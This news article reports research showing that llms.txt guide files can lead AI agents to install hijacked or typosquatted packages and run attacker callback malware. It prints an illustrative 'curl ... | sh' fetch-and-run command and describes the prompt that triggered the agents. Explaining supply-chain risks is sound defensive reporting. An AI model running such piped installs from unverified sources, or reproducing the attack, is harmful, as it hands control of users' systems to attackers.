Security researchers have demonstrated a new supply-chain attack that turns a widely used AI guidance file into a delivery mechanism for malicious code. By manipulating the contents of an “llms.txt” file, the team was able to get AI agents belonging to Fortune 500 companies to execute code of their choosing, underscoring how the traditional boundary between “data” and “code” has effectively collapsed.
The concept behind llms.txt mirrors the long-established robots.txt file. When search engines rose to prominence, websites began publishing robots.txt to direct crawlers toward the right content. That file remains common today, but many organizations now add llms.txt, a plain-text document that provides instructions specifically for AI agents.
The file is typically hosted on a software product’s website and includes a short description, setup notes, and quick installation steps, similar to a README written for machines rather than people. Instead of consuming tokens and context window space by parsing full documentation, an agent reads llms.txt to quickly learn how the software works: the language it uses, the environment it runs in, its dependencies, and often exact installation commands. That convenience is exactly where the risk emerges.
Thousands of Files Point to Missing or Hijacked Packages
The researchers at Pandex examined 8,565 llms.txt files and found 237 references to software packages that no longer exist, don’t yet exist, are misspelled, have moved elsewhere, or otherwise conflict with current documentation. According to Pandex, these packages spanned PyPI, npm, RubyGems, NuGet, crates.io, and Packagist. The associated domains ranged from expired .dev and .io registrations to abandoned Render, Vercel, Fly, and Netlify subdomains, each available to whoever claims it first.
The danger is easy to illustrate. An installation instruction might read “pip install wtf-software,” assuming that name refers to the legitimate package. If the real package was actually published as “wtf-software-beans,” an attacker could register “wtf-software” instead. Similarly, if a company shuts down and loses its domain, an outdated install command such as “curl https://wtf-software.ok | sh” could still point users, and agents, toward infrastructure now controlled by a malicious actor.
A Booby-Trapped Package Got a Bite in Four Minutes
To test the theory, the Pandex team built its own Python and Node proof-of-concept malware designed to call back to a server and wait for a target. The response came quickly. Just four minutes after going live, an AI agent took the bait. The researchers described how simple it was to get an agent to run their code inside its own environment.
During their investigation, the team also identified a case in which someone had already carried out the same technique using real malware, and they notified the affected software publisher.
Triggering the behavior required only a single natural instruction: “Using all of [VENDOR]’s docs, build and run a node.js project with [VENDOR]’s SDK.” That prompt was enough to send agents searching for more information, leading them straight into the trap. Notably, the instruction contained no reference to the llms.txt file, no links, and no prompt injection.
Source
Image: tomshardware.com
